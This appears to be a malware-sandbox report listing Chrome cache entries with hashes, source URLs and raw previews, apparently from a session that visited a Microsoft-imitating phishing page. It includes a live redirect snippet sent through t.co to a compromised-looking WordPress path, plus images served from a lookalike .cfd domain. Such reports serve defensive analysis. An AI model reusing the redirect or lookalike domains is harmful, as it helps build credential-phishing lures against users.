Preview:	...........}ks.6.....\.R;.J.H=-WR;..&>g^53.G.R[.DY<C..$e.WG..... )...{+'g...l............bw_f7.:x..<x.-.V5)/wE..Y...gy.0.(.-o.e.\|..._..I.....?<{.!x...W..._..^..p..E..'..Y...<.....]..6(. ..D.....Y.......:.ve.?..!..\|t...].+.......a.......\|.P...u.H.d.d.r.c[..~.L..n.-.}e.H3...r..^..iP.u..z.....)..Z.jx..C'......u..{.C...N.o.m~..F(b..f.....h..O.....6....kr.......n2m M$.R..R..i{.~.....n.dKY..#.Kn.4..G...O..l.#.a=..iU..].S.2.wY..O.\|...Z.A....].uU.._%U.<...pp..u=.....C.R..S.....0...A<......&...W..'o.T.."..jO..^+.....DiW.b..7i..7..........lKe.0.~B0.....zQu#...YB.,.{.&.6..G.6..._...J.i.?.LS$( .^.{..u.-.0....K....M&j..s.yB..+....^.)...7e.....]..eFI_.kRX.B......D[.4......+.u=>....R.`QEK...R..d...*S.. ,c5RKBK(......][..eF{T.....6...".....Uk:..S.0Ro.}B.dwJZ}U..S.F.....&.&.~\|......{..Ep.>x..._....}p..=.}...v...7?}...g..1&.......}...^...o.x.>x...../.^....._.........w.v./.........BA...{J..w..$?.}w....?zO.r..5...7.gl..z...g.?.{....R.......yGj

Chrome Cache Entry: 136

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	338
Entropy (8bit):	7.004897375379158
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+k790OCotr/vbXX3PHrLiBxwGFhGsznYUAlnEkPb6PL2+/pTp:6v/78/v4rrXX3u1XYRm4byp9
MD5:	290AFB4165DD808A850D8920AEB5DBF4
SHA1:	0B4BF844AED3A740A99B7415F6BD803E84DDDA4D
SHA-256:	882FDB8A4BF176D2A09427D6A5BDBA3051307F2605090DA848085B0D78B6FD99
SHA-512:	197AD95E98C04B26AAD845DF7FF5C3C2CC6020E5273526970261F30A8EEAAB30A1C0DDC2BAE1D654095E8D47D399CCB526B32AD7CBE84CB1140E2D5F5142A7DB
Malicious:	false
Reputation:	low
URL:	https://c.s-microsoft.com/en-us/CMSImages/Print-new-2.png?version=4eafce11-a3df-e971-f481-fed76428ffa1
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....IDAT8O..=..0...\.+....{......A.qQ..*.....&.l.....4i.7MM$u..:b&5..F.2.q....%3L.K..,..2C....c?+.{....B7i~R..0;.r..C.c....$....Jx.^8.O.l.!E).#l...e..#.k/...y.D..%<.<......4\.2H..0.>...WY9giK,la/....p<...4%...N..-I..._%...s1....P.......IEND.B`.

Chrome Cache Entry: 137

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (59783), with CRLF line terminators
Category:	downloaded
Size (bytes):	663451
Entropy (8bit):	5.3635307555313165
Encrypted:	false
SSDEEP:	12288:YhqblwQ9eTw/suNyIzaJS/pWYawUWufSxwDr2o/5YP1B:Yhqblt9e8/sMzaJS/pWYawUWufSxwDrW
MD5:	761CE9E68C8D14F49B8BF1A0257B69D6
SHA1:	8CF5D714D35EFFA54F3686065CB62CCE028E2C77
SHA-256:	BEAA65AD34340E61E9E701458E2CCFF8F9073FDEBBC3593A2C7EC8AFEACB69C1
SHA-512:	CEC948666FBA0F56D3DA27A931033C3A581C9C00FEC4D3DDCF41324525B5B5321AE3AB89581ECC7F497DE85EF684AB277C8A2DB393D526416CEB76C91A1B9263
Malicious:	false
Reputation:	low
URL:	https://r4.res.office365.com/owa/prem/15.20.7519.22/scripts/boot.worldwide.0.mouse.js
Preview:	.window.scriptsLoaded = window.scriptsLoaded \|\| {}; window.scriptProcessStart = window.scriptProcessStart \|\| {}; window.scriptProcessStart['boot.worldwide.0.mouse.js'] = (new Date()).getTime();../* Empty file */;Function.__typeName="Function";Function.__class=!0;Function.createCallback=function(n,t){return function(){var r=arguments.length;if(r>0){for(var u=[],i=0;i<r;i++)u[i]=arguments[i];u[r]=t;return n.apply(this,u)}return n.call(this,t)}};Function.prototype.bind=Function.prototype.bind\|\|function(n){if(typeof this!="function")throw new TypeError("bind(): we can only bind to functions");var u=Array.prototype.slice.call(arguments,1),r=this,t=function(){},i=function(){return r.apply(this instanceof t?this:n,u.concat(Array.prototype.slice.call(arguments)))};this.prototype&&(t.prototype=this.prototype);i.prototype=new t;return i};Function.createDelegate=function(n,t){return function(){return t.apply(n,arguments)}};Function.emptyFunction=Function.emptyMethod=function(){};Error.__typeNam

Chrome Cache Entry: 138

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 379
Category:	dropped
Size (bytes):	254
Entropy (8bit):	7.066074991728423
Encrypted:	false
SSDEEP:	6:XtS8G99k8e6my4IIFqXUJ59lDFCnhUGlZX8My/dOtrE:XAH99kRX1YQBDFCnDXdWYtrE
MD5:	847A4212B99B9076EE39328B24CD30AF
SHA1:	73F15078CF1D396485F644A79B6E25EF0637685D
SHA-256:	29DC0C26C372805325EB7EB926769E832A60B47BEF96A66436EC3EC05CD6128E
SHA-512:	9AF77E9ED8BD9A39A47F36AAC2D01B5AF5D56C04CD933427DF95CC80904D7EE7AC3F7F9443D8AEF236CC84FB4DC4CC335AF0BF8F9BC0C13D720187096D149220
Malicious:	false
Reputation:	low
Preview:	..........mP.n. ...D.xY0.\..{. 7...y.F!.....T..Y.Y..n...q^.[O}..w.SJ.j..3.....%)....x.f.K}..}\.=E.D....!.n.......Ma..G.=+.%.w..WX...9.A...........X...V...bOB&2.H....15{.fT...V-.#..m..f...V2<...~....l%4.....Ie.TL69.....vW.....v.3.v.O..}..{...

Chrome Cache Entry: 139

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 216 x 46, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	4054
Entropy (8bit):	7.797012573497454
Encrypted:	false
SSDEEP:	48:zICvnyRHJ3BRZPcSPQ72N2xoiR4fTJX/rj4sFNMkk5/p1k2lPUmbm39o4aL7V9XH:10nvE724xoiRQJPrjpLKSFl9oX31Z1d
MD5:	9F14C20150A003D7CE4DE57C298F0FBA
SHA1:	DAA53CF17CC45878A1B153F3C3BF47DC9669D78F
SHA-256:	112FEC798B78AA02E102A724B5CB1990C0F909BC1D8B7B1FA256EAB41BBC0960
SHA-512:	D4F6E49C854E15FE48D6A1F1A03FDA93218AB8FCDB2C443668E7DF478830831ACC2B41DAEFC25ED38FCC8D96C4401377374FED35C36A5017A11E63C8DAE5C487
Malicious:	false
Reputation:	low
URL:	https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE1Mu3b?ver=5c31
Preview:	.PNG........IHDR.............J.......tEXtSoftware.Adobe ImageReadyq.e<...(iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c132 79.159284, 2016/04/19-13:13:40 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:A00BC639840A11E68CBEB97C2156C7FD" xmpMM:InstanceID="xmp.iid:A00BC638840A11E68CBEB97C2156C7FD" xmp:CreatorTool="Adobe Photoshop CC 2015.5 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:A2C931A470A111E6AEDFA14578553B7B" stRef:documentID="xmp.did:A2C931A570A111E6AEDFA14578553B7B"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.......DIDATx..\..UU.>.7..3....h.L..& j2...h.@..".........`U.......R"..Dq.&.BJR 1.4`$.200...l........wg.y.[k/

Chrome Cache Entry: 140

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	338
Entropy (8bit):	7.004897375379158
Encrypted:	false
SSDEEP:	6:6v/lhPkR/C+k790OCotr/vbXX3PHrLiBxwGFhGsznYUAlnEkPb6PL2+/pTp:6v/78/v4rrXX3u1XYRm4byp9
MD5:	290AFB4165DD808A850D8920AEB5DBF4
SHA1:	0B4BF844AED3A740A99B7415F6BD803E84DDDA4D
SHA-256:	882FDB8A4BF176D2A09427D6A5BDBA3051307F2605090DA848085B0D78B6FD99
SHA-512:	197AD95E98C04B26AAD845DF7FF5C3C2CC6020E5273526970261F30A8EEAAB30A1C0DDC2BAE1D654095E8D47D399CCB526B32AD7CBE84CB1140E2D5F5142A7DB
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR................a....sRGB.........gAMA......a.....pHYs..........o.d....IDAT8O..=..0...\.+....{......A.qQ..*.....&.l.....4i.7MM$u..:b&5..F.2.q....%3L.K..,..2C....c?+.{....B7i~R..0;.r..C.c....$....Jx.^8.O.l.!E).#l...e..#.k/...y.D..%<.<......4\.2H..0.>...WY9giK,la/....p<...4%...N..-I..._%...s1....P.......IEND.B`.

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 216 x 46, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4054
Entropy (8bit):	7.797012573497454
Encrypted:	false
SSDEEP:	48:zICvnyRHJ3BRZPcSPQ72N2xoiR4fTJX/rj4sFNMkk5/p1k2lPUmbm39o4aL7V9XH:10nvE724xoiRQJPrjpLKSFl9oX31Z1d
MD5:	9F14C20150A003D7CE4DE57C298F0FBA
SHA1:	DAA53CF17CC45878A1B153F3C3BF47DC9669D78F
SHA-256:	112FEC798B78AA02E102A724B5CB1990C0F909BC1D8B7B1FA256EAB41BBC0960
SHA-512:	D4F6E49C854E15FE48D6A1F1A03FDA93218AB8FCDB2C443668E7DF478830831ACC2B41DAEFC25ED38FCC8D96C4401377374FED35C36A5017A11E63C8DAE5C487
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............J.......tEXtSoftware.Adobe ImageReadyq.e<...(iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c132 79.159284, 2016/04/19-13:13:40 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:A00BC639840A11E68CBEB97C2156C7FD" xmpMM:InstanceID="xmp.iid:A00BC638840A11E68CBEB97C2156C7FD" xmp:CreatorTool="Adobe Photoshop CC 2015.5 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:A2C931A470A111E6AEDFA14578553B7B" stRef:documentID="xmp.did:A2C931A570A111E6AEDFA14578553B7B"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.......DIDATx..\..UU.>.7..3....h.L..& j2...h.@..".........`U.......R"..Dq.&.BJR 1.4`$.200...l........wg.y.[k/

Chrome Cache Entry: 88

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 3651
Category:	dropped
Size (bytes):	1435
Entropy (8bit):	7.8613342322590265
Encrypted:	false
SSDEEP:	24:XjtSZi0kq+yVCGYXVrO4vDxik/N/z5VaLPbholJvf6dblke68eRZJyBDz3BnZcNX:XgDkpyVCGca4b//9z5oPXdbl9688qRzY
MD5:	9F368BC4580FED907775F31C6B26D6CF
SHA1:	E393A40B3E337F43057EEE3DE189F197AB056451
SHA-256:	7ECBBA946C099539C3D9C03F4B6804958900E5B90D48336EEA7E5A2ED050FA36
SHA-512:	0023B04D1EEC26719363AED57C95C1A91244C5AFF0BB53091938798FB16E230680E1F972D166B633C1D2B314B34FE0B9D7C18442410DB7DD6024E279AAFD61B0
Malicious:	false
Reputation:	low
Preview:	...........WMo.7..+..uV.HJ...{..........&..v...(Q.F.....aW.Q.\|..~.\|{~...b{8...zv.....8\|...b.gxb.y{.x<\lS...p...p..l7...o.}.v.....t.........r..r.\|9?.......HP...r.4.aGA.j....7.!....K.n.B.Z.C.]....kj..A..p...xI...b..I!K..><.B..O....#...$.]h.bU.;.Y...).r.u....g.-w.2..vPh....q....4_..N\..@y).t{.2pj.f..4h.....NC.....x.R..P..9.....".4.`%N..&...a.@.......fS)A4.F..8e9KHE....8d.CR.K..g..Q.......a....f.....dgN.N.k..#w..........,.".%..I.q.Y.R]..7.!.:.Ux...T.qI..{..,b..2..B...Bh...[o..[4....dZ.z.!.l....E.9$..Y.'...M.,p..$..8Ns3.B.....{.....H..Se3....%.Ly...VP{.Bh.D.+....p..(..`....t....U.e....2......j...%..0.f<...q...B.k..N....03...8....l.....bS...vh..8..Q..LWXW..C.......3..Pr.V.l...^=VX\,d9f.Y;1!w.d,.qvs....f;.....Zhrr.,.U....6.Y....+Zd.R...but....".....4.L...z........L.Q......)....,.].Y.&....*ZsIVG.^...#...e..r....Z..F..c..... .QDCmV..1.~...J9..b_Oov\..X.R..._.TqH.q.5G.0{ZphQ..k...s..\.../.Dp..d`#......8.#Y...Mb.j.Q......=n4.c....p.[.SI.....0.N.

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (364), with no line terminators
Category:	downloaded
Size (bytes):	364
Entropy (8bit):	5.052277305064349
Encrypted:	false
SSDEEP:	6:fc3MRJVxrH29lEAQuZkNWAUm0RK29lEAQuZ6KkX9BXW31AXVV+BV2t7KlAjbOuZV:fc3MxxGlpQnem0RFlpQb3PXK+XVVMaH9
MD5:	7876FFE1D441EB69A5F00D2B6D14BF9B
SHA1:	C5A7865972CFEF7334AB9E8D6E1E71CA9FA3CF3B
SHA-256:	145F3B7B00722F9A3E304364393302A371F6C55679C57F966531777FDECE60C9
SHA-512:	20945D8ED2609932A5002B67C57AB5BF4C7C33DD78755B9C769995A2CEF40661095CCD8855A604AF666CD535EAEF6A7994535C782899293123C3757295437CD0
Malicious:	false
Reputation:	low
URL:	https://t.co/RieqFTtqmt
Preview:	<head><noscript><META http-equiv="refresh" content="0;URL=https://wordpressprofissional.com.br/wp-content/OxZU0e8fGTHt7NTfrafq/"></noscript><title>https://wordpressprofissional.com.br/wp-content/OxZU0e8fGTHt7NTfrafq/</title></head><script>window.opener = null; location.replace("https:\/\/wordpressprofissional.com.br\/wp-content\/OxZU0e8fGTHt7NTfrafq\/")</script>

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32047)
Category:	downloaded
Size (bytes):	95931
Entropy (8bit):	5.394232486761965
Encrypted:	false
SSDEEP:	1536:5P1vk7i6GUHdXXeyQazBu+4HhiO2AEeLNFoqqhJ7SerN5sVI6xcBgPv7E+nzms9d:A4Ud4qhJvNPqcB47MfWWca98HrB
MD5:	5790EAD7AD3BA27397AEDFA3D263B867
SHA1:	8130544C215FE5D1EC081D83461BF4A711E74882
SHA-256:	2ECD295D295BEC062CEDEBE177E54B9D6B19FC0A841DC5C178C654C9CCFF09C0
SHA-512:	781ACEDC99DE4CE8D53D9B43A158C645EAB1B23DFDFD6B57B3C442B11ACC4A344E0D5B0067D4B78BB173ABBDED75FB91C410F2B5A58F71D438AA6266D048D98A
Malicious:	false
Reputation:	low
URL:	https://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.11.2.min.js
Preview:	/! jQuery v1.11.2 \| (c) 2005, 2014 jQuery Foundation, Inc. \| jquery.org/license /.!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=c.slice,e=c.concat,f=c.push,g=c.indexOf,h={},i=h.toString,j=h.hasOwnProperty,k={},l="1.11.2",m=function(a,b){return new m.fn.init(a,b)},n=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,o=/^-ms-/,p=/-([\da-z])/gi,q=function(a,b){return b.toUpperCase()};m.fn=m.prototype={jquery:l,constructor:m,selector:"",length:0,toArray:function(){return d.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:d.call(this)},pushStack:function(a){var b=m.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a,b){return m.each(this,a,b)},map:function(a){return this.pushStack(m.map(this,function(b,c){ret

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 342 x 72, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	5139
Entropy (8bit):	7.865234009830226
Encrypted:	false
SSDEEP:	96:oX2DsRVNYc82nTGTirCPqKO1gDPFjDiwK3aM5yO/bUlVV6JKo5N9jIMw7RLW1ZHb:ofRgc82nTprQsgDNDP7QgVVoH9+kMK9
MD5:	8B36337037CFF88C3DF203BB73D58E41
SHA1:	1ADA36FA207B8B96B2A5F55078BFE2A97ACEAD0E
SHA-256:	E4E1E65871749D18AEA150643C07E0AAB2057DA057C6C57EC1C3C43580E1C898
SHA-512:	97D8CC97C4577631D8D58C0D9276EE55E4B80128080220F77E01E45385C20FE55D208122A8DFA5DADCB87543B1BC291B98DBBA44E8A2BA90D17C638C15D48793
Malicious:	false
Reputation:	low
URL:	https://6knvejjuzh3.scrdata-doc.cfd/aadcdn.msauth.net/~/shared/1.0/content/images/applogos/53_8b36337037cff88c3df203bb73d58e41.png
Preview:	.PNG........IHDR...V...H.............tEXtSoftware.Adobe ImageReadyq.e<...%iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c148 79.164036, 2019/08/13-01:06:57 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop 21.0 (Macintosh)" xmpMM:InstanceID="xmp.iid:DB120779422011EA9888910153D3A5E6" xmpMM:DocumentID="xmp.did:DB12077A422011EA9888910153D3A5E6"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:DB120777422011EA9888910153D3A5E6" stRef:documentID="xmp.did:DB120778422011EA9888910153D3A5E6"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>P.WI....IDATx..]]l.......(.5.K0P..0...E.qT..J X)F.(5X....J.}(m.R5.Q...RUEUPU~.....qp@.b......L...k.m"0......"c.3

Chrome Cache Entry: 93

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2852)
Category:	downloaded
Size (bytes):	2857
Entropy (8bit):	5.824792983944438
Encrypted:	false
SSDEEP:	48:FeFnZ9RRGKlgZ01kKQbWIbx6666XurIqLFL+mMkhZe+LgG86YpC6GVZ9VuSEqmfz:IFnZ9RvliGHIN6666XIIqLFwkh4Z6Ofz
MD5:	69A2B9114C80B634CC870E2DBF82E408
SHA1:	5EF664DBF4B10DC2358189C8B34A952372F0BB39
SHA-256:	87F472C5F14C5C7045F5F7B14266DEDACA826BA6EAC597DC440AC40AA12C6497
SHA-512:	616A19BF5050B85D9B8438C83CAAFE8E1F3793FEA72F1BECF9FE8BA0C16F279AD4E2DFC0B2F98C906648EF89EEA7D9D41AB05C263F6B158C2BCB1667D4F6EB41
Malicious:	false
Reputation:	low
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["venice italy fee","nintendo garry mod","bristol myers squibb layoffs","horse racing kentucky derby","chakras fortnite","weather storms tornadoes","home depot halloween skeleton dog","stetson bennett"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"google:entityinfo":"Cg0vZy8xMWc5cWRjcTN3EhRGb290YmFsbCBxdWFydGVyYmFjazKHC2RhdGE6aW1hZ2UvanBlZztiYXNlNjQsLzlqLzRBQVFTa1pKUmdBQkFRQUFBUUFCQUFELzJ3Q0VBQWtHQndnSEJna0lCd2dLQ2drTERSWVBEUXdNRFJzVUZSQVdJQjBpSWlBZEh4OGtLRFFzSkNZeEp4OGZMVDB0TVRVM09qbzZJeXMvUkQ4NFF6UTVPamNCQ2dvS0RRd05HZzhQR2pjbEh5VTNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTi8vQUFCRUlBQzRBUUFNQklnQUNFUUVERVFIL3hBQWFBQUFDQXdFQkFBQUFBQUFBQUFBQUFBQUFCd1VHQ0FNRS84UUFMaEFBQVFNRUFBUUVCUVVCQUFBQUFBQUFBUUlEQkFBRkJoRVNJVEdCRTBGaG9RZEN

Chrome Cache Entry: 94

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (994), with no line terminators
Category:	downloaded
Size (bytes):	994
Entropy (8bit):	4.934955158256183
Encrypted:	false
SSDEEP:	12:U8Chx3fpler8DDMv1+I+zpcuVkicq32EXgBA5e2KMLT:JC3G0z1Ddf2NGe2KG
MD5:	E2110B813F02736A4726197271108119
SHA1:	D7AC10CC425A7B67BF16DDA0AAEF1FEB00A79857
SHA-256:	6D1BE7ED96DD494447F348986317FAF64728CCF788BE551F2A621B31DDC929AC
SHA-512:	E79CF6DB777D62690DB9C975B5494085C82E771936DB614AF9C75DB7CE4B6CA0A224B7DFB858437EF1E33C6026D772BE9DBBB064828DB382A4703CB34ECEF1CF
Malicious:	false
Reputation:	low
URL:	https://r4.res.office365.com/owa/prem/15.20.7519.22/resources/images/0/sprite1.mouse.css
Preview:	.image-loading_blackbg-gif{background:url('loading_blackbg.gif');width:16px;height:16px}.image-loading_whitebg-gif{background:url('loading_whitebg.gif');width:16px;height:16px}.image-thinking16_blue-gif{background:url('thinking16_blue.gif');width:16px;height:16px}.image-thinking16_grey-gif{background:url('thinking16_grey.gif');width:16px;height:16px}.image-thinking16_white-gif{background:url('thinking16_white.gif');width:16px;height:16px}.image-thinking24-gif{background:url('thinking24.gif');width:24px;height:24px}.image-thinking32_blue-gif{background:url('thinking32_blue.gif');width:32px;height:32px}.image-thinking32_grey-gif{background:url('thinking32_grey.gif');width:32px;height:32px}.image-thinking32_white-gif{background:url('thinking32_white.gif');width:32px;height:32px}.image-clear1x1-gif{width:1px;height:1px;background:url('sprite1.mouse.png') -0 -0}.csimg{padding:0;border:none;background-repeat:no-repeat;-webkit-touch-callout:none}span.csimg{-ms-high-contrast-adjust:none}

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 2576, version 1.0
Category:	downloaded
Size (bytes):	2576
Entropy (8bit):	7.719832273595377
Encrypted:	false
SSDEEP:	48:xMfPmA3TmKSBdfEFTIyRVoOpIdlDlkdLT14kjZ9IOy8mF:xOPp3pY9ETo+8l5kdLTKwYOy8a
MD5:	3352BC83EC12D2F2E46E66EB0FC20A0E
SHA1:	2C128CC55FD417D778E5213E5BFC836EB1D46A8B
SHA-256:	93FABDCFD57B85E0401518F827759AC29C7833D3E25E358E70232F86D41C643D
SHA-512:	74C4FCCC4D61E57F80E70243DF8536B72BEBBC9E6F3C3A3800E5D8715585D5581858A7B01C564D2BF3E855A18614E05DB654775879C65E5B702B098CAA2664AC
Malicious:	false
Reputation:	low
URL:	https://assets.onestore.ms/cdnfiles/external/oneui/oneui1.16.2/dist/fonts/icons/icons.woff
Preview:	wOFF........................................OS/2.......C...V@.Mncmap...8...:...J.1..glyf...t.......d...head...$...,...6.9..hhea...P.......$.$..hmtx...p........@...loca.......B...B". hmaxp........... .3.`name................post............{NK.x.c`db`...............2H2.1001.23`..i.)....?.3..........f....~u...x.c```f.`..F..p....\|... ........>....R..D.3@...#..........x.uVoh[U..........K..I..KS....YS.h...}p..0:6.s. m........t.v.[.!.06Bu..thW..c...d0.((<<..&...q..q~..s.9.wC.........RD.R....R~.[KKK.....2.@?..9...7... ..=..w......8`a.'C'.jw!X..R..f..2....^m\zB.M....0....WC.....6.A...$K....\B.y.+.H.r(......EE.......O..aB..U6[...s.9{U.....-)'<.........i............y..7...u..}........Rc......[.(.E..B.U..= .".C.q....3.\|...q/...O.=...\|......\|..P..9......2f..u^.AE./..W....9ggM^...0...W.....aeL...1l).Dw.V...3O..\|...aV.0[j...X..&.B.$L.0.`.H[...Z.<W'q.4..r4.r+I .TTnp8..hj.i.[{c.........B..N.(6.sc.).....m.D.h..4.h.'.Q..;..e/........0..g..[,.....nO.K{.....2......%

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, -128x-128, 16 colors, 72x72, 16 colors
Category:	downloaded
Size (bytes):	17174
Entropy (8bit):	2.9129715116732746
Encrypted:	false
SSDEEP:	24:QSNTmTFxg4lyyyyyyyyyyyyyio7eeeeeeeeekzgsLsLsLsLsLsQZp:nfgyyyyyyyyyyyyynzQQQQQO
MD5:	12E3DAC858061D088023B2BD48E2FA96
SHA1:	E08CE1A144ECEAE0C3C2EA7A9D6FBC5658F24CE5
SHA-256:	90CDAF487716184E4034000935C605D1633926D348116D198F355A98B8C6CD21
SHA-512:	C5030C55A855E7A9E20E22F4C70BF1E0F3C558A9B7D501CFAB6992AC2656AE5E41B050CCAC541EFA55F9603E0D349B247EB4912EE169D44044271789C719CD01
Malicious:	false
Reputation:	low
URL:	https://6knvejjuzh3.scrdata-doc.cfd/aadcdn.msauth.net/~/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico
Preview:	..............h(..f...HH...........(..00......h....6.. ...........=...............@..........(....A..(....................(....................................."P.........................................."""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333"""""""""""""""""""""""""""""" ...333333333333333333333333333333""""""""""""""""""""""""""

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=4, xresolution=62, yresolution=70, resolutionunit=2, software=paint.net 4.2.9], baseline, precision 8, 50x28, components 3
Category:	dropped
Size (bytes):	987
Entropy (8bit):	6.922003634904799
Encrypted:	false
SSDEEP:	24:PJjxEK0nWpBzo0XxDuLHeOWXG4OZ7DAJuLHenX3D+VRmK9cR+w/b:lxEX4OuERAVwR/QP/b
MD5:	E58AAFC980614A9CD7796BEA7B5EA8F0
SHA1:	D4CAC92DCDE0CAF7C571E6D791101DA94FDBD2CA
SHA-256:	8B34A475187302935336BF43A2BF2A4E0ADB9A1E87953EA51F6FCF0EF52A4A1D
SHA-512:	2DAC06596A11263DF1CFAB03EDA26D0A67B9A4C3BAA6FB6129CDBF0A157C648F5B0F5859B5CA689EFDF80F946BF4D854BA2B2C66877C5CE3897D72148741FCC9
Malicious:	false
Reputation:	low
Preview:	......JFIF.....H.H.....fExif..MM..................>...........F.(...........1.........N.......H.......H....paint.net 4.2.9....C....................................................................C.........................................................................2..!............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?......[.4..lz.....K.S..p.>.9.r9j..'.\.qrW..mo...X9ZV<./x...EX...m.Prj..A.EtG...K..mr....Lc.T.8...nlY.V.{6...R...]..(.y...)^.5V.IVO.W.B.19.R\...f.U.....'..S:..k.6..).f.n._3*....}.y.8.EusH..y.`.mA...W.}...bL..:..b.<f..(lH#R....v._...........9N~S..

Chrome Cache Entry: 98

Download File

